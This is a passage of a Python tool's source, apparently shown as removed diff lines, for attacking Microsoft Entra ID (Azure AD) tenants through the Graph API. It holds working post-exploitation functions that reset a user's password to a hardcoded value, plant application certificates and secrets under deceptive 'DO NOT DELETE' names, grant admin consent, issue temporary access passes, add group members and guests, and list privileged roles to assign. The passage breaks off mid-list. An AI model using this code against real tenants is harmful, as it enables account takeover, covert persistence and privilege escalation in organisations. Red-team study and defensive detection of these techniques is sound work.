print(f"Description: {role['description']}") - response_body = response.json() - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - format_list_style(filtered_data) - else: - print_red(f"[-] Role: {role['displayName']}") - print("=" * 80) - -# find-privilegedapplications -def find_privilegedapplications(args): - print_yellow("[*] Find-PrivilegedApplications") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/applications?$select=appId" - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + get_access_token(args.token), - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - applications = response.json() - app_ids = [app['appId'] for app in applications.get('value', [])] - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - app_ids = [] - - service_principals = [] - for app_id in app_ids: - sp_api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '{app_id}'&$select=id,appDisplayName" - sp_response = requests.get(sp_api_url, headers=headers) - - if sp_response.status_code == 200: - sp_data = sp_response.json() - for sp in sp_data.get('value', []): - service_principals.append({ - 'id': sp['id'], - 'appDisplayName': sp['appDisplayName'] - }) - else: - print_red(f"[-] Error: Service Principal API request failed for appId {app_id} with status code {sp_response.status_code}") - - app_role_assignments = {} - for sp in service_principals: - app_role_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{sp['id']}/appRoleAssignments" - app_role_response = requests.get(app_role_url, headers=headers) - - if app_role_response.status_code == 200: - assignments = app_role_response.json() - app_role_assignments[sp['id']] = { - 'appDisplayName': sp['appDisplayName'], - 'assignments': assignments.get('value', []) - } - else: - print_red(f"[-] Error: App Role Assignments API request failed for Service Principal ID {sp['id']}: {app_role_response.status_code}") - print_red(app_role_response.text) - - def parse_roleids(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_description = rows[2].find_all('td')[1].get_text() - delegated_description = rows[2].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_description, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - permissions = parse_roleids(content) - - # results - for sp_id, data in app_role_assignments.items(): - print(f"\nApplication: {data['appDisplayName']}") - if data['assignments']: - for assignment in data['assignments']: - app_role_id = assignment.get('appRoleId', 'N/A') - print_green(f"[+] App Role ID: {app_role_id}") - if app_role_id in permissions: - role_type, role_name, description, consent_required = permissions[app_role_id] - print_green(f"[+] Role Name: {role_name}") - print_green(f"[+] Description: {description}") - #print_green(f"[+] Role Type: {role_type}") # can only be application for appRoleAssignments, delegated role types use oauth2PermissionGrants - #print_green(f"[+] Admin Consent Required: {consent_required}") # admin consent required for all app graph perms - else: - print_red(f"[-] Role information not found for App Role ID: {app_role_id}") - print_green(f"[+] Resource: {assignment.get('resourceDisplayName', 'N/A')}") - print("---") - else: - print_red("[-] No role assignments") - print("=" * 80) - -# find-updatablegroups -def find_updatablegroups(args): - print_yellow("[*] Find-UpdatableGroups") - print("=" * 80) - graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" - estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" - - default_fields = ['id', 'displayName', 'description', 'isAssignableToRole', 'onPremisesSyncEnabled', 'mail', 'createdDateTime', 'visibility'] - - if args.select: - select_fields = args.select.split(',') - graph_api_endpoint += f"?$select=id,{args.select}" - else: - select_fields = default_fields - graph_api_endpoint += f"?$select=id,{','.join(select_fields)}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - results = [] - while graph_api_endpoint: - try: - response = requests.get(graph_api_endpoint, headers=headers) - response.raise_for_status() - response_data = response.json() - for group in response_data['value']: - if 'id' not in group: - print_yellow(f"[-] Group without 'id' found, skipping") - continue - group_id = group['id'] - request_body = { - "resourceActionAuthorizationChecks": [ - { - "directoryScopeId": f"/{group_id}", - "resourceAction": "microsoft.directory/groups/members/update" - } - ] - } - - while True: - try: - estimate_response = requests.post(estimate_access_endpoint, headers=headers, json=request_body) - estimate_response.raise_for_status() - estimate_data = estimate_response.json() - if estimate_data['value'][0]['accessDecision'] == "allowed": - group_out = {k: group.get(k) for k in select_fields if k in group} - results.append(group_out) - break - except requests.exceptions.HTTPError as e: - if e.response.status_code == 429: - print_yellow("[*] Requests throttled... sleeping for 5 seconds") - time.sleep(5) - else: - print_red(f"[-] Error estimating access for group: {str(e)}") - break - except requests.exceptions.RequestException as e: - print_red(f"[-] Error estimating access for group: {str(e)}") - break - graph_api_endpoint = response_data.get('@odata.nextLink') - except requests.exceptions.RequestException as e: - print_red(f"[-] Error fetching Groups: {str(e)}") - break - if results: - max_key_length = max(len(key) for result in results for key in result.keys()) - for result in results: - for key, value in result.items(): - print(f"{key:<{max_key_length}} : {value}") - print("") - else: - print_red("[-] No updatable groups found") - print("=" * 80) - -# find-dynamicgroups -def find_dynamicgroups(args): - print_yellow("[*] Find-DynamicGroups") - print("=" * 80) - graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" - estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - results = [] - while graph_api_endpoint: - try: - while True: - try: - response = requests.get(graph_api_endpoint, headers=headers) - response.raise_for_status() - break - except requests.exceptions.HTTPError as e: - if e.response.status_code == 429: - print_yellow("[*] Requests throttled... sleeping 5 seconds") - time.sleep(5) - else: - raise - response_data = response.json() - - for group in response_data['value']: - group_id = f"/{group['id']}" - request_body = { - "resourceActionAuthorizationChecks": [ - { - "directoryScopeId": group_id, - "resourceAction": "microsoft.directory/groups/members/update" - } - ] - } - - if group.get('membershipRule') is not None: - #print_green(f"[+] Found dynamic group: {group['displayName']}") - group_out = { - "Group Name": group.get('displayName'), - "Group ID": group.get('id'), - "Description": group.get('description'), - "Is Assignable To Role": group.get('isAssignableToRole'), - "On-Prem Sync Enabled": group.get('onPremisesSyncEnabled'), - "Mail": group.get('mail'), - "Created Date": group.get('createdDateTime'), - "Visibility": group.get('visibility'), - "MembershipRule": group.get('membershipRule'), - "Membership Rule Processing State": group.get('membershipRuleProcessingState') - } - results.append(group_out) - - graph_api_endpoint = response_data.get('@odata.nextLink') - - except requests.exceptions.RequestException as e: - print_red(f"[-] Error fetching Group IDs: {str(e)}") - break - if results: - for result in results: - for key, value in result.items(): - print(f"{key:<35} : {value}") - print() - else: - print_red("[-] No dynamic groups found") - print("=" * 80) - -# find-securitygroups -def find_securitygroups(args): - print_yellow("[*] Find-SecurityGroups") - print("=" * 80) - graph_api_url = "https://graph.microsoft.com/v1.0" - groups_url = f"{graph_api_url}/groups?$filter=securityEnabled eq true" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - groups_with_members = [] - - while groups_url: - try: - response = requests.get(groups_url, headers=headers) - response.raise_for_status() - groups_response = response.json() - groups = groups_response.get('value', []) - except requests.exceptions.RequestException as e: - print_red(f"[-] An error occurred while retrieving security groups: {str(e)}") - return - for group in groups: - group_id = group['id'] - members_url = f"{graph_api_url}/groups/{group_id}/members" - - try: - members_response = requests.get(members_url, headers=headers) - members_response.raise_for_status() - members = members_response.json().get('value', []) - except requests.exceptions.HTTPError as e: - if e.response.status_code == 429: - print_yellow("[*] Being throttled... sleeping for 5 seconds") - time.sleep(5) - else: - print_red(f"[-] An error occurred while retrieving members for group {group['displayName']}: {str(e)}") - continue - - member_info = [ - member.get('userPrincipalName') or member.get('id', '') - for member in members - ] - - group_info = { - "GroupName": group['displayName'], - "GroupId": group_id, - "Members": member_info - } - - groups_with_members.append(group_info) - groups_url = groups_response.get('@odata.nextLink') - - if groups_with_members: - #print_green(f"[*] Found {len(groups_with_members)} security groups\n") - for group in groups_with_members: - print(f"Group Name: {group['GroupName']}") - print(f"Group ID: {group['GroupId']}") - print("Members:") - for member in group['Members']: - print(f" - {member}") - print() - else: - print_red("[-] No security groups found") - print("=" * 80) - -# update-userpassword -def update_userpassword(args): - if not args.id: - print_red("[-] Error: --id required for Update-UserPassword command") - return - - print_yellow("[*] Update-UserPassword") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "passwordProfile": { - "forceChangePasswordNextSignIn": False, - "password": "NewUserSecret@Pass!" - } - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("[+] User password profile updated") - - else: - print_red(f"[-] Failed to update user password: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# update-userproperties -def update_userproperties(args): - properties = [ - "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", - "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", - "country", "createdDateTime", "department", "displayName", "employeeId", - "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", - "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", - "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", - "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", - "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", - "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", - "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", - "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", - "schools", "showInAddressList", "skills", "state", "streetAddress", - "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" - ] - - if not args.id: - print_red("[-] Error: --id required for Update-UserProperties command") - return - - print_yellow("[*] Update-UserProperties") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - print("\033[34m[>] Property Definitions: https://learn.microsoft.com/en-us/graph/api/user-update\033[0m") - try: - userproperty = input("\nEnter Property: ").strip() - if userproperty not in properties: - print_red(f"\n[-] Error: '{userproperty}' is not a valid property.") - print("=" * 80) - sys.exit() - newvalue = input(f"Enter New '{userproperty}' Value: ").strip() - except KeyboardInterrupt: - sys.exit() - - json_body = { - userproperty : newvalue - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] User properties updated successfully") - - else: - print_red(f"\n[-] Failed to update user properties: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# add-applicationcertificate -def add_applicationcertificate(args): - openssl = """ -Genrate Certificate: -opessl genrsa -out private.key 2048 -opessl req -new -key private.key -out request.csr -opessl x509 -req -days 365 -in request.csr -signkey private.key -out certificate.crt -opessl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.crt - -Only certificate (public key) with one of the following file types: -.cer -.pem -.crt - """ - if not args.id or not args.cert: - print_red("[-] Error: --id and --cert required for Add-ApplicationCertificate command") - print_red(openssl) - return - - encoded_cert = read_and_encode_cert(args.cert) - - print_yellow("[*] Add-ApplicationCertificate") - print("=" * 80) - - # 1. Find existing certs so we don't remove them in the patch req - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + get_access_token(args.token), - 'Content-Type':'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - applications = response.json() - key_credentials = applications.get('keyCredentials', []) - - else: - print_red(f"[-] Error obtaining existing certificates {response.status_code}") - print_red(response.text) - - # 2. patch app added our cert to the existing - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - - try: - displayname = input("\nEnter Certificate Display Name: ").strip() - if not displayname: - displayname = "DevOps Certificate - DO NOT DELETE" - - except KeyboardInterrupt: - sys.exit() - - new_key_credential = { - "type": "AsymmetricX509Cert", - "usage": "Verify", - "key": encoded_cert, - "displayName": displayname - } - - key_credentials.append(new_key_credential) - data = { - "keyCredentials": key_credentials - } - - response = requests.patch(api_url, headers=headers, json=data) - if response.ok: - print_green("\n[+] Successfully added application certificate") - else: - print_red(f"\n[-] Failed to add certificate: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# add-applicationpassword -def add_applicationpassword(args): - if not args.id: - print_red("[-] Error: --id required for Add-ApplicationPassword command") - return - - print_yellow("[*] Add-ApplicationPassword") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}/addPassword" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - current_time_utc = datetime.now(timezone.utc) - six_months_later = current_time_utc + timedelta(days=6*30) - formatted_date = six_months_later.strftime("%Y-%m-%dT%H:%M:%SZ") - json_body = {"displayName":"Added by Azure Service Bus - DO NOT DELETE", "endDateTime": formatted_date} - - response = requests.post(api_url, headers=headers, json=json_body) - - if response.ok: - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - if key == "secretText": - print_green(f"{key}: {pretty_value}") - else: - print(f"{key}: {pretty_value}") - else: - print_red(f"[-] Failed to add password: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# add-applicationpermission -def add_applicationpermission(args): - if not args.id: - print_red("[-] Error: --id required for Add-ApplicationPermission command") - return - - print_yellow("[*] Add-ApplicationPermission") - print("=" * 80) - - # 1. check existing permissions - api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id - #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - response = requests.get(api_url, headers=headers) - existingperms = [] - if response.status_code == 200: - response_json = response.json() - existingperms = response_json.get('requiredResourceAccess', []) - - # 2. patch perms - api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id - #api_url = f"https://graph.microsoft.com/v1.0/myorganization/applications/{args.id}" # object id - print("\033[34m[>] API Permissions: https://learn.microsoft.com/en-us/graph/permissions-reference\033[0m") - - # permission id validation - def parse_permissionid(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, 'graphpermissions.txt') - - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - permissions = parse_permissionid(content) - - try: - permissionid = input("\nEnter API Permission ID: ").strip() - if permissionid not in permissions: - print_red("\n[-] Invalid permission ID. Not in graphpermissions.txt") - sys.exit(1) - - permission_info = permissions[permissionid] - if len(permission_info) == 3: - permission_type, permission_name, admin_consent_required = permission_info - else: - permission_type, permission_name = permission_info - admin_consent_required = "Unknown" - - print(f"\nPermission ID: {permissionid} corresponds to '{permission_name}' with type '{permission_type}'") - - # grant admin consent option - print(f"Admin Consent Required: {admin_consent_required}") - if admin_consent_required.lower() == 'yes': - grantadminconsent = input(f"\nGrant Admin Consent For: {permission_name}? (yes/no): ").strip().lower() - else: - pass - grantadminconsent = 'no' - - except KeyboardInterrupt: - sys.exit(1) - - if permission_type.lower() == "application": - typevalue = "Role" - elif permission_type.lower() == "delegated": - typevalue = "Scope" - else: - print_red("\n[-] Unexpected error") - print("=" * 80) - sys.exit() - - graphresource = next((resource for resource in existingperms if resource['resourceAppId'] == '00000003-0000-0000-c000-000000000000'), None) # does Microsoft Graph resource already exist - - if graphresource: - graphresource['resourceAccess'].append({ - "id": permissionid, - "type": typevalue - }) - else: - existingperms.append({ - "resourceAppId": "00000003-0000-0000-c000-000000000000", - "resourceAccess": [ - { - "id": permissionid, # b633e1c5-b582-4048-a93e-9f11b44c7e96 -> Mail.Send (Application perm - admin consent required) - "type": typevalue - } - ] - }) - - # assign perm json - data = { - "requiredResourceAccess": existingperms - } - clientAppId = args.id - # admin consent json - admin_data = { - "clientAppId": clientAppId, - "onBehalfOfAll": True, - "checkOnly": False, - "tags": [], - "constrainToRra": True, - "dynamicPermissions": [ - { - "appIdentifier": "00000003-0000-0000-c000-000000000000", - "appRoles": [permission_name], - "scopes": [] - } - ] - } - - response = requests.patch(api_url, headers=headers, json=data) - if grantadminconsent == "no": - if response.ok: - print_green("\n[+] Application permissions updated successfully") - print("=" * 80) - sys.exit() - else: - print_red(f"\n[-] Failed to update application permissions: {response.status_code}") - print_red(response.text) - print("=" * 80) - sys.exit() - - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent, - 'Content-Type': 'application/json', - } - - # any failures granting admin consent likely due to token scope/perms - if grantadminconsent == "yes": - if response.ok: - print_green("\n[+] Application permissions updated successfully") - print() - custom_bar = '╢{bar:50}╟' - for _ in tqdm(range(5), bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): - time.sleep(1) - - granturl = "https://graph.microsoft.com/beta/directory/consentToApp" - grantreq = requests.post(granturl, headers=headers, json=admin_data) - - if grantreq.ok: - print_green(f"[+] Admin consent granted for: '{permission_name}'") - else: - print_red(f"\n[-] Failed to grant admin consent: {grantreq.status_code}") - print_red(grantreq.text) - print("=" * 80) - -# grant-appadminconsent -def grant_appadminconsent(args): - if not args.id: - print_red("[-] Error: --id required for Grant-AppAdminConsent command") - return - - print_yellow("[*] Grant-AppAdminConsent") - print("=" * 80) - clientAppId = args.id - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent, - 'Content-Type': 'application/json', - } - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, 'graphpermissions.txt') - - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - try: - permission_names = input("\nEnter Permission Names (comma-separated): ").strip().split(',') - permission_names = [name.strip() for name in permission_names] - - except KeyboardInterrupt: - sys.exit() - - invalid_permissions = [name for name in permission_names if name not in content] - - if invalid_permissions: - print_red(f"\n[-] Invalid Graph permissions: {', '.join(invalid_permissions)}") - print("=" * 80) - sys.exit() - admin_data = { - "clientAppId": clientAppId, - "onBehalfOfAll": True, - "checkOnly": False, - "tags": [], - "constrainToRra": True, - "dynamicPermissions": [ - { - "appIdentifier": "00000003-0000-0000-c000-000000000000", - "appRoles": permission_names, - "scopes": [] - } - ] - } - - url = "https://graph.microsoft.com/beta/directory/consentToApp" - request = requests.post(url, headers=headers, json=admin_data) - - if request.ok: - print_green(f"\n[+] Admin consent granted for: '{', '.join(permission_names)}'") - else: - print_red(f"\n[-] Failed to grant admin consent: {request.status_code}") - print_red(request.text) - print("=" * 80) - -# add-userTAP -def add_usertap(args): - if not args.id: - print_red("[-] Error: --id required for Add-UserTAP command") - return - - print_yellow("[*] Add-UserTAP") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/temporaryAccessPassMethods" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - current_time_utc = datetime.now(timezone.utc) - one_hour_later = current_time_utc + timedelta(minutes=60) - formatted_date = one_hour_later.strftime("%Y-%m-%dT%H:%M:%SZ") - - json_body = { - "properties": { - "isUsableOnce": True, - "startDateTime": formatted_date - } - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - url = response_body.get("@odata.nextLink") - if url: - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - else: - print_red(f"[-] Failed to add TAP: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# add-groupmember -def add_groupmember(args): - if not args.id: - print_red("[-] Error: --id groupid,objectid required for Add-GroupMember command") - return - - ids = args.id.split(',') - if len(ids) != 2: - print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") - return - - group_id, member_id = ids[0].strip(), ids[1].strip() - print_yellow("[*] Add-GroupMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/$ref" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{member_id}" - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("[+] User added to group") - else: - print_red(f"[-] Failed to add group member: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# create-application -def create_application(args): - print_yellow("[*] Create-Application") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/applications" - - try: - appname = input("\nEnter App Name: ").strip() - except KeyboardInterrupt: - sys.exit() - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = {"displayName": appname} - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Application created\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - else: - print_red(f"[-] Failed to create application: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# create-newuser -def create_newuser(args): - print_yellow("[*] Create-NewUser") - print("=" * 80) - - try: - display_name = input("\nEnter Display Name: ").strip() - mail_nickname = input("Enter Mail Nickname: ").strip() - user_principal_name = input("Enter User Principal Name: ").strip() - password = input("Enter Password: ").strip() - except KeyboardInterrupt: - sys.exit() - - api_url = f"https://graph.microsoft.com/v1.0/users/" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "accountEnabled": True, - "displayName": display_name, - "mailNickname": mail_nickname, - "userPrincipalName": user_principal_name, - "passwordProfile": { - "forceChangePasswordNextSignIn": True, - "password": password - } - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] New user created\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to create new user: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# invite-guestuser -def invite_guestuser(args): - if not args.tenant: - print_red("[-] Error: --tenant required for Invite-GuestUser command") - return - - print_yellow("[*] Invite-GuestUser") - print("=" * 80) - - try: - email = input("\nEnter Email Address: ").strip() - displayname = input("Enter Display Name: ").strip() - redirecturl = input("Enter Invite Redirect URL (leave blank for default): ").strip() # https://myapplications.microsoft.com/?tenantid=... - sendinvitationmessage = input("Send Email Invitation? (true/false): ").strip().lower() - custommessage = input("Custom Message Body: ").strip() - except KeyboardInterrupt: - sys.exit() - - if redirecturl == "": - redirecturl = f"https://myapplications.microsoft.com/?tenantid={args.tenant}" - - api_url = f"https://graph.microsoft.com/v1.0/invitations" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "invitedUserEmailAddress": email, - "invitedUserDisplayName": displayname, - "inviteRedirectUrl": redirecturl, - "sendInvitationMessage": sendinvitationmessage, - "invitedUserMessageInfo": { - "customizedMessageBody": custommessage - } - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Guest user invited\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to invite guest user: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# assign-privilegedrole -def assign_privilegedrole(args): - roles = [ - {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, - {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, - {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, - {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, - {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, - {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, - {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, - {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, - {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, - {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, - {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, - {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, - {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, - {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, - {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, - {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, - {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, - {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, - {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, - {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, - {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, - {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, - {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, - {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single 